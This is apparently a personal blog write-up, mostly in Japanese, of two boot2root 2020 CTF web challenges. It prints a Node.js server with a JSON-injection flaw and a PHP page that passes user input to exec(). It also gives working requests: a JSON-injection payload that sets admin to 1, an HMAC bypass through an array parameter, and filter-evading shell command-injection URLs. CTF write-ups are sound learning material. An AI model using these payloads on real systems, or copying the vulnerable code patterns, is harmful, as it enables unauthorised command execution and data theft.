kanyewest CTF

勉強したことをメモしています。

boot2root 2020: Write up

Web

Dr Jason

const express = require('express');
const bodyParser = require('body-parser');
var cors = require('cors');
require('dotenv').config();

const app = express();
app.use(bodyParser.json({extended: false}));
app.use(cors());

app.post('/flag',async (req,res)=>{
    if (!req.body.name || typeof req.body.name !== 'string') {
        res.status(400).json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }
    const name = req.body.name;
    var token = `{"admin":0,"name":"${name}"}`
    try{
        token = JSON.parse(token);
    }
    catch{
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }
    if(token.admin === 1){
        res.json({success: true, flag: process.env.FLAG})
    }
    else{
        res.json({success: false, error: 'You are not admin'});
    }
})
app.listen(3000)

POSTしてリクエストのbodyをname変数に代入して{"admin":0,"name":"${name}"}に埋め込んでます。admin=1であればflagがでてくる。

aaa","admin":1,"aa":"aaをnameに代入するといい感じにadmin=1になる。

POST /flag HTTP/1.1
Host: 67.205.134.115:46910
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://67.205.134.115:46911/
Content-Type: application/json
Origin: http://67.205.134.115:46911
Content-Length: 40
Connection: close

{"name":"aaa\",\"admin\":1,\"aa\":\"aa"}
{"success":true,"flag":"b00t2root{js0n_1nj3ct10n}"}

flag: b00t2root{js0n_1nj3ct10n}

Buggy PHP

 <?php
require('req.php');
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
show_source("index.php");
if (empty($_GET['hash']) || empty($_GET['cmd']) || empty($_GET['tmp'])){
    exit;
}

$key = getenv('KEY');

if(isset($_GET['tmp']))
    $key = hash_hmac('sha256',$_GET['tmp'],$key);

$hash = hash_hmac('sha256',$_GET['cmd'],$key);

if ($hash !== $_GET['hash']) {
    echo "NO flag for you";
    exit;
}

$cmd = preg_replace($filter, '', $_GET['cmd']);
echo exec("cmd ".$cmd);
?> 

hash_hmac関数になんかしら脆弱な仕様あったらいいなと思って調べたらでてきた。

www.securify.nl

これを参考にtmpパラメータに配列を渡すことによってkeyなしでハッシュ化してるのとおなじになる。つまり、OSコマンド実行したいコマンドをcmdパラメータに設定してそれをハッシュ化かしたものをhashパラメータに与えれば今回のHMACをbypassできる。

$ php index.php
83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395

http://165.22.179.69/?hash=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&tmp[]=&cmd=;dir

Warning: hash_hmac() expects parameter 2 to be string, array given in /var/www/html/index.php on line 14
index.php req.php

http://165.22.179.69/?hash=73151c410bd57749e919171f0480a238d3137148b7f589f8db2975474860231c&tmp[]=&cmd=;echo%20%27cat%20req.php%27で確認すると

Warning: hash_hmac() expects parameter 2 to be string, array given in /var/www/html/index.php on line 14
req.

上記のようにechoを利用してfilterされてる文字列を確認していきbypassするように文字列を組み合わせると;ccatat req.p?p|babase64se64req.phpの中身をbase64エンコードした結果が得られる。

$ echo -n 'YjAwdDJyb290e0J1OTl5X3BIcF9DaDRsbDNuOTNzfSc7Cj8' | base64 -d
b00t2root{Bu99y_pHp_Ch4ll3n93s}';

flag: b00t2root{Bu99y_pHp_Ch4ll3n93s}